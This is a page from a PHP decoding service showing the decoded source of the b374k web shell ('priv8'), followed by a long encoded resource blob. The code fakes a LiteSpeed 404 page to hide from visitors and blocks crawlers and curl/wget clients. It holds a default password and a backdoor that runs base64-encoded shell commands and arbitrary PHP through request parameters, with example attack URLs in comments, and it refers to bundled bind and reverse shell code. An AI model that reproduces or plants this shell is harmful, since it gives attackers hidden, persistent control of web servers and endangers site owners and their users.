Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); $_F=__FILE__;$_X='Pz48P3BocA0KQHM1c3M0Mm5fc3QxcnQoKTsNCiRtM2NrX2..
Decoded Output download
?><?php
@session_start();
$muck_log_in = @$_SESSION['muck-log-in'];
if (!$muck_log_in) {
if (stripos($_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)') !== FALSE) {
$_SESSION['muck-log-in'] = TRUE;
echo '<script>location = "' . $_SERVER['PHP_SELF'] . '";</script>';
exit;
} else {
echo '<!DOCTYPE html><html style="height:100%"><head><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"><h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>';
exit;
}
}
$s_pass = "b3f0b2c67e659a14d989cc7d3fb0ac318f2bd941"; // default password : b374k (login and change to new password)
$s_ver = "0.1"; // shell ver
$s_title = "priv8"; // shell title
$s_login_time = 3600 * 24 * 7; // cookie time (login)
$s_debug = false; // debugging mode
@ob_start();
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
define('DS', DIRECTORY_SEPARATOR);
// clean magic quotes
$_POST = clean($_POST);
$_GET = clean($_GET);
$_COOKIE = clean($_COOKIE);
$_GP = array_merge($_POST, $_GET);
$_GP = array_map("ru", $_GP);
if($s_debug){
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('display_errors','1');
@ini_set('log_errors','1');
foreach($_GP as $k=>$v){
if(is_array($v)) $v = print_r($v, true);
echo "<span>".hss($k."=>".$v)."</span><br />";
}
}
else{
error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
}
$s_auth = false; // login status
if(strlen(trim($s_pass))>0){
if(isset($_COOKIE['b374k'])){
if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
}
if(isset($_GP['login'])){
$s_login = kript($_GP['login']);
if(strtolower(trim($s_pass)) == $s_login){
setcookie("b374k",$s_login,time() + $s_login_time);
$s_auth = true;
}
}
if(isset($_GP['x']) && ($_GP['x']=='logout')){
$persist = array("theme", "cwd");
$s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
foreach($_COOKIE as $s_k=>$s_v){
if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
}
$s_auth = false;
if(!empty($s_reload)) header("Location: ".$s_reload);
}
}
else $s_auth = true;
// This is a feature where you can control this script from another apps/scripts
// you need to supply password (in sha1(md5()) format) to access this
// this example using password 'b374k' in sha1(md5()) format (s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34)
// give the code/command you want to execute in base64 format
// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
// example:
// http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&cmd=dW5hbWUgLWE=
// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
// http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&eval=cGhwaW5mbygpOw==
// recommended ways is using POST DATA
// note that it will not works if shell password is empty ($s_pass);
// better see code below
if(!empty($_GP['s_pass'])){
if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){
if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd']));
elseif(isset($_GP['eval'])){
$s_code = base64_decode($_GP['eval']);
ob_start();
eval($s_code);
$s_res = ob_get_contents();
ob_end_clean();
echo $s_res;
}
else echo $s_title;
}
die();
}
// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
$s_css = "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